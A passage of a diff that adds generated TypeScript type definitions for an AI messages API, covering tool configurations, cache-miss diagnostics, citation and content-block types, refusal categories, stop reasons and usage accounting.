limit is approximate and does not apply to binary content such as PDFs. + */ + max_content_tokens?: number | null + /** + * @description Maximum number of times the tool can be used in the API request. + */ + max_uses?: number | null + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'web_fetch' + /** + * @description How this tool's result blocks appear in the API response when the result was consumed by a completed code_execution call in the same turn. 'full' returns the complete content (default). 'excluded' drops the nested server_tool_use and result block pair entirely. Results from direct calls, or from code_execution calls that paused before completing, are always returned in full so they can be sent back on the next turn. + * @type string | undefined + */ + response_inclusion?: WebFetchTool20260318ResponseInclusionEnumKey + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'web_fetch_20260318' + /** + * @description Which sources contribute to the set of URLs the tool may fetch. Omitted means every source. + */ + url_sources?: WebFetchUrlSources | null + /** + * @description Whether to use cached content. Set to false to bypass the cache and fetch fresh content. Only set to false when the user explicitly requests fresh content or when fetching rapidly-changing sources. + * @type boolean | undefined + */ + use_cache?: boolean +} + +export type WebSearchTool20250305 = { + allowed_callers?: AllowedCallerKey[] + /** + * @description If provided, only these domains will be included in results. Cannot be used alongside `blocked_domains`. + */ + allowed_domains?: string[] | null + /** + * @description If provided, these domains will never appear in results. Cannot be used alongside `allowed_domains`. + */ + blocked_domains?: string[] | null + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Maximum number of times the tool can be used in the API request. + */ + max_uses?: number | null + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'web_search' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'web_search_20250305' + /** + * @description Parameters for the user's location. Used to provide more relevant search results. + */ + user_location?: UserLocation | null +} + +export type WebSearchTool20260209 = { + allowed_callers?: AllowedCallerKey[] + /** + * @description If provided, only these domains will be included in results. Cannot be used alongside `blocked_domains`. + */ + allowed_domains?: string[] | null + /** + * @description If provided, these domains will never appear in results. Cannot be used alongside `allowed_domains`. + */ + blocked_domains?: string[] | null + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Maximum number of times the tool can be used in the API request. + */ + max_uses?: number | null + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'web_search' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'web_search_20260209' + /** + * @description Parameters for the user's location. Used to provide more relevant search results. + */ + user_location?: UserLocation | null +} + +export const webSearchTool20260318ResponseInclusionEnum = { + full: 'full', + excluded: 'excluded', +} as const + +export type WebSearchTool20260318ResponseInclusionEnumKey = + (typeof webSearchTool20260318ResponseInclusionEnum)[keyof typeof webSearchTool20260318ResponseInclusionEnum] + +export type WebSearchTool20260318 = { + allowed_callers?: AllowedCallerKey[] + /** + * @description If provided, only these domains will be included in results. Cannot be used alongside `blocked_domains`. + */ + allowed_domains?: string[] | null + /** + * @description If provided, these domains will never appear in results. Cannot be used alongside `allowed_domains`. + */ + blocked_domains?: string[] | null + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Maximum number of times the tool can be used in the API request. + */ + max_uses?: number | null + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'web_search' + /** + * @description How this tool's result blocks appear in the API response when the result was consumed by a completed code_execution call in the same turn. 'full' returns the complete content (default). 'excluded' drops the nested server_tool_use and result block pair entirely. Results from direct calls, or from code_execution calls that paused before completing, are always returned in full so they can be sent back on the next turn. + * @type string | undefined + */ + response_inclusion?: WebSearchTool20260318ResponseInclusionEnumKey + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'web_search_20260318' + /** + * @description Parameters for the user's location. Used to provide more relevant search results. + */ + user_location?: UserLocation | null +} + +export type CacheCreation = { + /** + * @description The number of input tokens used to create the 1 hour cache entry. + * @minimum 0 + * @default 0 + * @type integer + */ + ephemeral_1h_input_tokens: number + /** + * @description The number of input tokens used to create the 5 minute cache entry. + * @minimum 0 + * @default 0 + * @type integer + */ + ephemeral_5m_input_tokens: number +} + +/** + * @description A `cache_miss_reason` for a request whose `messages` differ from the previous request's in an earlier entry, instead of only having entries appended. The `model`, `system`, and `tools` match. + * + * See the [cache diagnostics guide](https://platform.claude.com/docs/en/build-with-claude/cache-diagnostics#cache-miss-reason-types) to learn what to change for each reason. + * @type object + */ +export type CacheMissMessagesChanged = { + /** + * @description Approximate number of input tokens that would have been read from cache had the prefix matched the previous request. + * @type integer + */ + cache_missed_input_tokens: number + /** + * @default 'messages_changed' + * @type string + */ + type: 'messages_changed' +} + +/** + * @description A `cache_miss_reason` for a request whose `model` or `speed` differs from the previous request's. + * + * See the [cache diagnostics guide](https://platform.claude.com/docs/en/build-with-claude/cache-diagnostics#cache-miss-reason-types) to learn what to change for each reason. + * @type object + */ +export type CacheMissModelChanged = { + /** + * @description Approximate number of input tokens that would have been read from cache had the prefix matched the previous request. + * @type integer + */ + cache_missed_input_tokens: number + /** + * @default 'model_changed' + * @type string + */ + type: 'model_changed' +} + +/** + * @description A `cache_miss_reason` for when the API doesn't have a stored record of the request that `diagnostics.previous_message_id` references. + * + * This doesn't mean that this request changed. + * + * See the [cache diagnostics guide](https://platform.claude.com/docs/en/build-with-claude/cache-diagnostics#cache-miss-reason-types) to learn what to change for each reason. + * @type object + */ +export type CacheMissPreviousMessageNotFound = { + /** + * @default 'previous_message_not_found' + * @type string + */ + type: 'previous_message_not_found' +} + +/** + * @description A `cache_miss_reason` for a request whose `system` differs from the previous request's. + * + * See the [cache diagnostics guide](https://platform.claude.com/docs/en/build-with-claude/cache-diagnostics#cache-miss-reason-types) to learn what to change for each reason. + * @type object + */ +export type CacheMissSystemChanged = { + /** + * @description Approximate number of input tokens that would have been read from cache had the prefix matched the previous request. + * @type integer + */ + cache_missed_input_tokens: number + /** + * @default 'system_changed' + * @type string + */ + type: 'system_changed' +} + +/** + * @description A `cache_miss_reason` for a request whose `tools` differ from the previous request's, for example because tools were added, removed, or reordered. + * + * See the [cache diagnostics guide](https://platform.claude.com/docs/en/build-with-claude/cache-diagnostics#cache-miss-reason-types) to learn what to change for each reason. + * @type object + */ +export type CacheMissToolsChanged = { + /** + * @description Approximate number of input tokens that would have been read from cache had the prefix matched the previous request. + * @type integer + */ + cache_missed_input_tokens: number + /** + * @default 'tools_changed' + * @type string + */ + type: 'tools_changed' +} + +/** + * @description A `cache_miss_reason` for when the API can't give a diagnosis. The request itself was processed normally. + * + * This includes a request whose `model`, `system`, and `tools` match the previous request's but whose other prompt-affecting parameters, such as `thinking` or `tool_choice`, differ. + * + * See the [cache diagnostics guide](https://platform.claude.com/docs/en/build-with-claude/cache-diagnostics#cache-miss-reason-types) to learn what to change for each reason. + * @type object + */ +export type CacheMissUnavailable = { + /** + * @default 'unavailable' + * @type string + */ + type: 'unavailable' +} + +export type CacheMissReason = + | (CacheMissModelChanged & { + type: 'model_changed' + }) + | (CacheMissSystemChanged & { + type: 'system_changed' + }) + | (CacheMissToolsChanged & { + type: 'tools_changed' + }) + | (CacheMissMessagesChanged & { + type: 'messages_changed' + }) + | (CacheMissPreviousMessageNotFound & { + type: 'previous_message_not_found' + }) + | (CacheMissUnavailable & { + type: 'unavailable' + }) + +export const containerSkillTypeEnum = { + anthropic: 'anthropic', + custom: 'custom', +} as const + +export type ContainerSkillTypeEnumKey = + (typeof containerSkillTypeEnum)[keyof typeof containerSkillTypeEnum] + +/** + * @description A skill that was loaded in a container (response model). + * @type object + */ +export type ContainerSkill = { + /** + * @description Skill ID + * @minLength 1 + * @maxLength 64 + * @example pdf + * @type string + */ + skill_id: string + /** + * @description Type of skill - either 'anthropic' (built-in) or 'custom' (user-defined) + * @example anthropic + * @type string + */ + type: ContainerSkillTypeEnumKey + /** + * @description The resolved version: a skill version ID for custom skills. + * @minLength 1 + * @maxLength 64 + * @example latest + * @type string + */ + version: string +} + +/** + * @description Information about the container used in the request (for the code execution tool) + * @type object + */ +export type Container = { + /** + * @description The time at which the container will expire. + * + * Format: `date-time` + * @type string + */ + expires_at: string + /** + * @description Identifier for the container used in this request + * @example container_011CpZohnwH4vuy7gazohgSP + * @type string + */ + id: string + /** + * @description Skills loaded in the container + * @default null + */ + skills: ContainerSkill[] | null +} + +export type ResponseCharLocationCitation = { + /** + * @example The grass is green. The sky is blue. + * @type string + */ + cited_text: string + /** + * @minimum 0 + * @type integer + */ + document_index: number + /** + * @example My Document + */ + document_title: string | null + end_char_index: number + /** + * @default null + * @example file_011CNha8iCJcU1wXNR6q4V8w + */ + file_id: string | null + /** + * @minimum 0 + * @type integer + */ + start_char_index: number + /** + * @default 'char_location' + * @type string + */ + type: 'char_location' +} + +export type ResponsePageLocationCitation = { + /** + * @example The grass is green. The sky is blue. + * @type string + */ + cited_text: string + /** + * @minimum 0 + * @type integer + */ + document_index: number + /** + * @example My Document + */ + document_title: string | null + end_page_number: number + /** + * @default null + * @example file_011CNha8iCJcU1wXNR6q4V8w + */ + file_id: string | null + /** + * @minimum 1 + * @type integer + */ + start_page_number: number + /** + * @default 'page_location' + * @type string + */ + type: 'page_location' +} + +export type ResponseContentBlockLocationCitation = { + /** + * @description The full text of the cited block range, concatenated. + * + * Always equals the contents of `content[start_block_index:end_block_index]` joined together. The text block is the minimal citable unit; this field is never a substring of a single block. Not counted toward output tokens, and not counted toward input tokens when sent back in subsequent turns. + * @example The grass is green. The sky is blue. + * @type string + */ + cited_text: string + /** + * @minimum 0 + * @type integer + */ + document_index: number + /** + * @example My Document + */ + document_title: string | null + /** + * @description Exclusive 0-based end index of the cited block range in the source's `content` array. + * + * Always greater than `start_block_index`; a single-block citation has `end_block_index = start_block_index + 1`. + * @type integer + */ + end_block_index: number + /** + * @default null + * @example file_011CNha8iCJcU1wXNR6q4V8w + */ + file_id: string | null + /** + * @description 0-based index of the first cited block in the source's `content` array. + * @minimum 0 + * @type integer + */ + start_block_index: number + /** + * @default 'content_block_location' + * @type string + */ + type: 'content_block_location' +} + +export type ResponseWebSearchResultLocationCitation = { + /** + * @example The grass is green. The sky is blue. + * @type string + */ + cited_text: string + encrypted_index: string + title: string | null + /** + * @default 'web_search_result_location' + * @type string + */ + type: 'web_search_result_location' + url: string +} + +export type ResponseSearchResultLocationCitation = { + /** + * @description The full text of the cited block range, concatenated. + * + * Always equals the contents of `content[start_block_index:end_block_index]` joined together. The text block is the minimal citable unit; this field is never a substring of a single block. Not counted toward output tokens, and not counted toward input tokens when sent back in subsequent turns. + * @example The grass is green. The sky is blue. + * @type string + */ + cited_text: string + /** + * @description Exclusive 0-based end index of the cited block range in the source's `content` array. + * + * Always greater than `start_block_index`; a single-block citation has `end_block_index = start_block_index + 1`. + * @type integer + */ + end_block_index: number + /** + * @description 0-based index of the cited search result among all `search_result` content blocks in the request, in the order they appear across messages and tool results. + * + * Counted separately from `document_index`; server-side web search results are not included in this count. + * @minimum 0 + * @type integer + */ + search_result_index: number + source: string + /** + * @description 0-based index of the first cited block in the source's `content` array. + * @minimum 0 + * @type integer + */ + start_block_index: number + title: string | null + /** + * @default 'search_result_location' + * @type string + */ + type: 'search_result_location' +} + +export type ResponseTextBlock = { + /** + * @description Citations supporting the text block. + * + * The type of citation returned will depend on the type of document being cited. Citing a PDF results in `page_location`, plain text results in `char_location`, and content document results in `content_block_location`. + * @default null + */ + citations: + | ( + | (ResponseCharLocationCitation & { + type: 'char_location' + }) + | (ResponsePageLocationCitation & { + type: 'page_location' + }) + | (ResponseContentBlockLocationCitation & { + type: 'content_block_location' + }) + | (ResponseWebSearchResultLocationCitation & { + type: 'web_search_result_location' + }) + | (ResponseSearchResultLocationCitation & { + type: 'search_result_location' + }) + )[] + | null + /** + * @minLength 0 + * @type string + */ + text: string + /** + * @default 'text' + * @type string + */ + type: 'text' +} + +export type ResponseThinkingBlock = { + /** + * @description A value used to verify that this thinking block was generated by Claude when it is passed back to the API. + * + * This is an opaque field and should not be interpreted or parsed. When passing thinking blocks back to the API (required when using tools with extended thinking), pass them back exactly as received, with this field intact. + * + * See [extended thinking](https://platform.claude.com/docs/en/build-with-claude/extended-thinking) for details. + * @type string + */ + signature: string + /** + * @description The text of Claude's thinking process for this block. + * @type string + */ + thinking: string + /** + * @default 'thinking' + * @type string + */ + type: 'thinking' +} + +export type ResponseRedactedThinkingBlock = { + /** + * @description The contents of this redacted thinking block, returned when portions of the model's thinking were safety-redacted. This field is opaque and encrypted, with no readable content. + * + * Pass `redacted_thinking` blocks back to the API unchanged when continuing a multi-turn conversation. + * + * See [extended thinking](https://platform.claude.com/docs/en/build-with-claude/extended-thinking#redacted-thinking-blocks) for details. + * @type string + */ + data: string + /** + * @default 'redacted_thinking' + * @type string + */ + type: 'redacted_thinking' +} + +export type ResponseToolUseBlock = { + /** + * @default {"type":"direct"} + */ + caller: + | (DirectCaller & { + type: 'direct' + }) + | (ServerToolCaller & { + type: 'code_execution_20250825' + }) + | (ServerToolCaller20260120 & { + type: 'code_execution_20260120' + }) + /** + * @pattern ^[a-zA-Z0-9_-]+$ + * @type string + */ + id: string + input: { + [key: string]: unknown + } + /** + * @minLength 1 + * @type string + */ + name: string + /** + * @description For a toolset member tool_use, the toolset family. + * @default null + */ + toolset_name?: string | null + /** + * @default 'tool_use' + * @type string + */ + type: 'tool_use' +} + +export const responseServerToolUseBlockNameEnum = { + web_search: 'web_search', + web_fetch: 'web_fetch', + code_execution: 'code_execution', + bash_code_execution: 'bash_code_execution', + text_editor_code_execution: 'text_editor_code_execution', + tool_search_tool_regex: 'tool_search_tool_regex', + tool_search_tool_bm25: 'tool_search_tool_bm25', +} as const + +export type ResponseServerToolUseBlockNameEnumKey = + (typeof responseServerToolUseBlockNameEnum)[keyof typeof responseServerToolUseBlockNameEnum] + +export type ResponseServerToolUseBlock = { + /** + * @default {"type":"direct"} + */ + caller: + | (DirectCaller & { + type: 'direct' + }) + | (ServerToolCaller & { + type: 'code_execution_20250825' + }) + | (ServerToolCaller20260120 & { + type: 'code_execution_20260120' + }) + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + id: string + input: { + [key: string]: unknown + } + name: ResponseServerToolUseBlockNameEnumKey + /** + * @default 'server_tool_use' + * @type string + */ + type: 'server_tool_use' +} + +export type ResponseWebSearchToolResultError = { + error_code: WebSearchToolResultErrorCodeKey + /** + * @default 'web_search_tool_result_error' + * @type string + */ + type: 'web_search_tool_result_error' +} + +export type ResponseWebSearchResultBlock = { + encrypted_content: string + /** + * @default null + */ + page_age: string | null + title: string + /** + * @default 'web_search_result' + * @type string + */ + type: 'web_search_result' + url: string +} + +export type ResponseWebSearchToolResultBlock = { + /** + * @default {"type":"direct"} + */ + caller: + | (DirectCaller & { + type: 'direct' + }) + | (ServerToolCaller & { + type: 'code_execution_20250825' + }) + | (ServerToolCaller20260120 & { + type: 'code_execution_20260120' + }) + content: ResponseWebSearchToolResultError | ResponseWebSearchResultBlock[] + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + tool_use_id: string + /** + * @default 'web_search_tool_result' + * @type string + */ + type: 'web_search_tool_result' +} + +export type ResponseWebFetchToolResultError = { + error_code: WebFetchToolResultErrorCodeKey + /** + * @default 'web_fetch_tool_result_error' + * @type string + */ + type: 'web_fetch_tool_result_error' +} + +export type ResponseCitationsConfig = { + /** + * @default false + * @type boolean + */ + enabled: boolean +} + +export type ResponseDocumentBlock = { + /** + * @description Citation configuration for the document + * @default null + */ + citations: ResponseCitationsConfig | null + source: + | (Base64PDFSource & { + type: 'base64' + }) + | (PlainTextSource & { + type: 'text' + }) + /** + * @description The title of the document + * @default null + */ + title: string | null + /** + * @default 'document' + * @type string + */ + type: 'document' +} + +export type ResponseWebFetchResultBlock = { + content: ResponseDocumentBlock + /** + * @description ISO 8601 timestamp when the content was retrieved + * @default null + */ + retrieved_at: string | null + /** + * @default 'web_fetch_result' + * @type string + */ + type: 'web_fetch_result' + /** + * @description Fetched content URL + * @type string + */ + url: string +} + +export type ResponseWebFetchToolResultBlock = { + /** + * @default {"type":"direct"} + */ + caller: + | (DirectCaller & { + type: 'direct' + }) + | (ServerToolCaller & { + type: 'code_execution_20250825' + }) + | (ServerToolCaller20260120 & { + type: 'code_execution_20260120' + }) + content: ResponseWebFetchToolResultError | ResponseWebFetchResultBlock + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + tool_use_id: string + /** + * @default 'web_fetch_tool_result' + * @type string + */ + type: 'web_fetch_tool_result' +} + +export type ResponseCodeExecutionToolResultError = { + error_code: CodeExecutionToolResultErrorCodeKey + /** + * @default 'code_execution_tool_result_error' + * @type string + */ + type: 'code_execution_tool_result_error' +} + +export type ResponseCodeExecutionOutputBlock = { + file_id: string + /** + * @default 'code_execution_output' + * @type string + */ + type: 'code_execution_output' +} + +export type ResponseCodeExecutionResultBlock = { + content: ResponseCodeExecutionOutputBlock[] + return_code: number + stderr: string + stdout: string + /** + * @default 'code_execution_result' + * @type string + */ + type: 'code_execution_result' +} + +/** + * @description The output and exit code of Python code that Claude ran with the code execution tool, with standard output in encrypted form. + * + * The API returns this block in place of `code_execution_result` when the code called the web search tool. + * + * See the [programmatic tool calling guide](https://platform.claude.com/docs/en/agents-and-tools/tool-use/programmatic-tool-calling) to learn more about programmatic tool calling. + * @type object + */ +export type ResponseEncryptedCodeExecutionResultBlock = { + content: ResponseCodeExecutionOutputBlock[] + encrypted_stdout: string + return_code: number + stderr: string + /** + * @default 'encrypted_code_execution_result' + * @type string + */ + type: 'encrypted_code_execution_result' +} + +export type ResponseCodeExecutionToolResultBlock = { + content: + | ResponseCodeExecutionToolResultError + | ResponseCodeExecutionResultBlock + | ResponseEncryptedCodeExecutionResultBlock + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + tool_use_id: string + /** + * @default 'code_execution_tool_result' + * @type string + */ + type: 'code_execution_tool_result' +} + +export type ResponseBashCodeExecutionToolResultError = { + error_code: BashCodeExecutionToolResultErrorCodeKey + /** + * @default 'bash_code_execution_tool_result_error' + * @type string + */ + type: 'bash_code_execution_tool_result_error' +} + +export type ResponseBashCodeExecutionOutputBlock = { + file_id: string + /** + * @default 'bash_code_execution_output' + * @type string + */ + type: 'bash_code_execution_output' +} + +export type ResponseBashCodeExecutionResultBlock = { + content: ResponseBashCodeExecutionOutputBlock[] + return_code: number + stderr: string + stdout: string + /** + * @default 'bash_code_execution_result' + * @type string + */ + type: 'bash_code_execution_result' +} + +export type ResponseBashCodeExecutionToolResultBlock = { + content: + | ResponseBashCodeExecutionToolResultError + | ResponseBashCodeExecutionResultBlock + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + tool_use_id: string + /** + * @default 'bash_code_execution_tool_result' + * @type string + */ + type: 'bash_code_execution_tool_result' +} + +export type ResponseTextEditorCodeExecutionToolResultError = { + error_code: TextEditorCodeExecutionToolResultErrorCodeKey + /** + * @default null + */ + error_message: string | null + /** + * @default 'text_editor_code_execution_tool_result_error' + * @type string + */ + type: 'text_editor_code_execution_tool_result_error' +} + +export const responseTextEditorCodeExecutionViewResultBlockFileTypeEnum = { + text: 'text', + image: 'image', + pdf: 'pdf', +} as const + +export type ResponseTextEditorCodeExecutionViewResultBlockFileTypeEnumKey = + (typeof responseTextEditorCodeExecutionViewResultBlockFileTypeEnum)[keyof typeof responseTextEditorCodeExecutionViewResultBlockFileTypeEnum] + +export type ResponseTextEditorCodeExecutionViewResultBlock = { + content: string + file_type: ResponseTextEditorCodeExecutionViewResultBlockFileTypeEnumKey + /** + * @default null + */ + num_lines: number | null + /** + * @default null + */ + start_line: number | null + /** + * @default null + */ + total_lines: number | null + /** + * @default 'text_editor_code_execution_view_result' + * @type string + */ + type: 'text_editor_code_execution_view_result' +} + +export type ResponseTextEditorCodeExecutionCreateResultBlock = { + is_file_update: boolean + /** + * @default 'text_editor_code_execution_create_result' + * @type string + */ + type: 'text_editor_code_execution_create_result' +} + +export type ResponseTextEditorCodeExecutionStrReplaceResultBlock = { + /** + * @default null + */ + lines: string[] | null + /** + * @default null + */ + new_lines: number | null + /** + * @default null + */ + new_start: number | null + /** + * @default null + */ + old_lines: number | null + /** + * @default null + */ + old_start: number | null + /** + * @default 'text_editor_code_execution_str_replace_result' + * @type string + */ + type: 'text_editor_code_execution_str_replace_result' +} + +export type ResponseTextEditorCodeExecutionToolResultBlock = { + content: + | ResponseTextEditorCodeExecutionToolResultError + | ResponseTextEditorCodeExecutionViewResultBlock + | ResponseTextEditorCodeExecutionCreateResultBlock + | ResponseTextEditorCodeExecutionStrReplaceResultBlock + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + tool_use_id: string + /** + * @default 'text_editor_code_execution_tool_result' + * @type string + */ + type: 'text_editor_code_execution_tool_result' +} + +export type ResponseToolSearchToolResultError = { + error_code: ToolSearchToolResultErrorCodeKey + /** + * @default null + */ + error_message: string | null + /** + * @default 'tool_search_tool_result_error' + * @type string + */ + type: 'tool_search_tool_result_error' +} + +export type ResponseToolReferenceBlock = { + /** + * @minLength 1 + * @maxLength 256 + * @pattern ^[a-zA-Z0-9_-]{1,256}$ + * @type string + */ + tool_name: string + /** + * @default 'tool_reference' + * @type string + */ + type: 'tool_reference' +} + +export type ResponseToolSearchToolSearchResultBlock = { + tool_references: ResponseToolReferenceBlock[] + /** + * @default 'tool_search_tool_search_result' + * @type string + */ + type: 'tool_search_tool_search_result' +} + +export type ResponseToolSearchToolResultBlock = { + content: + | ResponseToolSearchToolResultError + | ResponseToolSearchToolSearchResultBlock + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + tool_use_id: string + /** + * @default 'tool_search_tool_result' + * @type string + */ + type: 'tool_search_tool_result' +} + +/** + * @description Response model for a file uploaded to the container. + * @type object + */ +export type ResponseContainerUploadBlock = { + file_id: string + /** + * @default 'container_upload' + * @type string + */ + type: 'container_upload' +} + +export type ContentBlock = + | (ResponseTextBlock & { + type: 'text' + }) + | (ResponseThinkingBlock & { + type: 'thinking' + }) + | (ResponseRedactedThinkingBlock & { + type: 'redacted_thinking' + }) + | (ResponseToolUseBlock & { + type: 'tool_use' + }) + | (ResponseServerToolUseBlock & { + type: 'server_tool_use' + }) + | (ResponseWebSearchToolResultBlock & { + type: 'web_search_tool_result' + }) + | (ResponseWebFetchToolResultBlock & { + type: 'web_fetch_tool_result' + }) + | (ResponseCodeExecutionToolResultBlock & { + type: 'code_execution_tool_result' + }) + | (ResponseBashCodeExecutionToolResultBlock & { + type: 'bash_code_execution_tool_result' + }) + | (ResponseTextEditorCodeExecutionToolResultBlock & { + type: 'text_editor_code_execution_tool_result' + }) + | (ResponseToolSearchToolResultBlock & { + type: 'tool_search_tool_result' + }) + | (ResponseContainerUploadBlock & { + type: 'container_upload' + }) + +/** + * @description Request-level diagnostics: why the prompt cache could not fully reuse + * the prefix of the request named by `diagnostics.previous_message_id`. + * @type object + */ +export type Diagnostics = { + /** + * @description Explains why the prompt cache could not fully reuse the prefix from the request identified by `diagnostics.previous_message_id`. `null` means diagnosis is still pending — the response was serialized before the background comparison completed. + * @default null + */ + cache_miss_reason: CacheMissReason | null +} + +export type OutputTokensDetails = { + /** + * @description Number of output tokens the model generated as internal reasoning, including + * the thinking-block delimiter tokens. + * + * Reflects the raw reasoning the model produced, not the (possibly shorter) + * summarized thinking text returned in the response body. It may differ from the model's exact + * generation count by a small number of tokens. Always ≤ `output_tokens`; + * `output_tokens - thinking_tokens` approximates the non-reasoning output. + * @minimum 0 + * @default 0 + * @type integer + */ + thinking_tokens: number +} + +/** + * @description The policy category that triggered a refusal. + */ +export type RefusalCategory = + | 'cyber' + | 'bio' + | 'frontier_llm' + | 'reasoning_extraction' + | 'general_harms' + +/** + * @description Structured information about a refusal. + * @type object + */ +export type RefusalStopDetails = { + /** + * @description The policy category that triggered the refusal. + * + * `null` when the refusal doesn't map to a named category. + * @default null + */ + category: RefusalCategory | null + /** + * @description Human-readable explanation of the refusal. + * + * This text is not guaranteed to be stable. `null` when no explanation is available for the category. + * @default null + * @example This request was declined because it conflicts with Anthropic's Usage Policy. + */ + explanation: string | null + /** + * @default 'refusal' + * @type string + */ + type: 'refusal' +} + +export type ServerToolUsage = { + /** + * @description The number of web fetch tool requests. + * @minimum 0 + * @default 0 + * @example 2 + * @type integer + */ + web_fetch_requests: number + /** + * @description The number of web search tool requests. + * @minimum 0 + * @default 0 + * @example 0 + * @type integer + */ + web_search_requests: number +} + +export const stopReason = { + end_turn: 'end_turn', + max_tokens: 'max_tokens', + stop_sequence: 'stop_sequence', + tool_use: 'tool_use', + pause_turn: 'pause_turn', + refusal: 'refusal', + model_context_window_exceeded: 'model_context_window_exceeded', +} as const + +export type StopReasonKey = (typeof stopReason)[keyof typeof stopReason] + +export const usageServiceTier = { + standard: 'standard', + priority: 'priority', + batch: 'batch', +} as const + +export type UsageServiceTierKey = + (typeof usageServiceTier)[keyof typeof usageServiceTier] + +export type Usage = { + /** + * @description Breakdown of cached tokens by TTL + * @default null + */ + cache_creation: CacheCreation | null + /** + * @description The number of input tokens used to create the cache entry. + * @default null + * @example 2051 + */ + cache_creation_input_tokens: number | null + /** + * @description The number of input tokens read from the cache. + * @default null + * @example 2051 + */ + cache_read_input_tokens: number | null + /** + * @description The geographic region where inference was performed for this request. + * @default null + * @example global + */ + inference_geo: string | null + /** + * @description The number of input tokens which were used. + * @minimum 0 + * @example 2095 + * @type integer + */ + input_tokens: number + /** + * @description The number of output tokens which were used. + * @minimum 0 + * @example 503 + * @type integer + */ + output_tokens: number + /** + * @description Breakdown of output tokens by category. + * + * `output_tokens` remains the inclusive, authoritative total used for billing. + * This object provides a read-only decomposition for observability — for example, + * how many of the billed output tokens were spent on internal reasoning that may + * have been summarized before being returned to you. + * @default null + */ + output_tokens_details: OutputTokensDetails | null + /** + * @description The number of server tool requests. + * @default null + */ + server_tool_use: ServerToolUsage | null + /** + * @description If the request used the priority, standard, or batch tier. + * @default null + */ + service_tier: UsageServiceTierKey | null + /** + * @description The inference speed mode used for this request. + * @default null + */ + speed: SpeedKey | null +} + +export const betaAdvisorToolResultErrorCode = { + max_uses_exceeded: 'max_uses_exceeded', + prompt_too_long: 'prompt_too_long', + too_many_requests: 'too_many_requests', + overloaded: 'overloaded', + unavailable: 'unavailable', + execution_time_exceeded: 'execution_time_exceeded', + model_not_found: 'model_not_found', +} as const + +export type BetaAdvisorToolResultErrorCodeKey = + (typeof betaAdvisorToolResultErrorCode)[keyof typeof betaAdvisorToolResultErrorCode] + +export const betaAllowedCaller = { + direct: 'direct', + code_execution_20250825: 'code_execution_20250825', + code_execution_20260120: 'code_execution_20260120', + code_execution_20260521: 'code_execution_20260521', +} as const + +export type BetaAllowedCallerKey = + (typeof betaAllowedCaller)[keyof typeof betaAllowedCaller] + +export const betaCacheControlEphemeralTtlEnum = { + '5m': '5m', + '1h': '1h', +} as const + +export type BetaCacheControlEphemeralTtlEnumKey = + (typeof betaCacheControlEphemeralTtlEnum)[keyof typeof betaCacheControlEphemeralTtlEnum] + +export type BetaCacheControlEphemeral = { + /** + * @description The time-to-live for the cache control breakpoint. + * + * This may be one the following values: + * - `5m`: 5 minutes + * - `1h`: 1 hour + * + * Defaults to `5m`. See [prompt caching pricing](https://platform.claude.com/docs/en/build-with-claude/prompt-caching) for details. + * @type string | undefined + */ + ttl?: BetaCacheControlEphemeralTtlEnumKey + type: 'ephemeral' +} + +export type BetaAdvisorTool20260301 = { + allowed_callers?: BetaAllowedCallerKey[] + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description Caching for the advisor's own prompt. When set, each advisor call writes a cache entry at the given TTL so subsequent calls in the same conversation read the stable prefix. When omitted, the advisor prompt is not cached. + */ + caching?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description If true, tool will not be included in initial system prompt. Only loaded when returned via tool_reference from tool search. + * @type boolean | undefined + */ + defer_loading?: boolean + /** + * @description Bounds the advisor's total output (thinking + text) per call. When the advisor hits this cap, the returned advisor_result or advisor_redacted_result block carries stop_reason='max_tokens', and a truncation note is appended to the advice text the worker model sees (inside the encrypted blob in redacted mode). When set, the API also passes the advisor its remaining-token budget, so the advisor shapes its output toward the cap. When omitted, the advisor model's default output cap applies and the API doesn't pass a budget. + */ + max_tokens?: number | null + /** + * @description Maximum number of times the tool can be used in the API request. + */ + max_uses?: number | null + /** + * @description The model that will complete your prompt. + * + * See [models](https://docs.anthropic.com/en/docs/models-overview) for additional details and options. + */ + model: Model + /** + * @description Name of the tool. + * + * This is how the tool will be called by the model and in `tool_use` blocks. + * @type string + */ + name: 'advisor' + /** + * @description When true, guarantees schema validation on tool names and inputs + * @type boolean | undefined + */ + strict?: boolean + type: 'advisor_20260301' +} + +export type BetaAllThinkingTurns = { + type: 'all' +} + +export type BetaRequestCharLocationCitation = { + 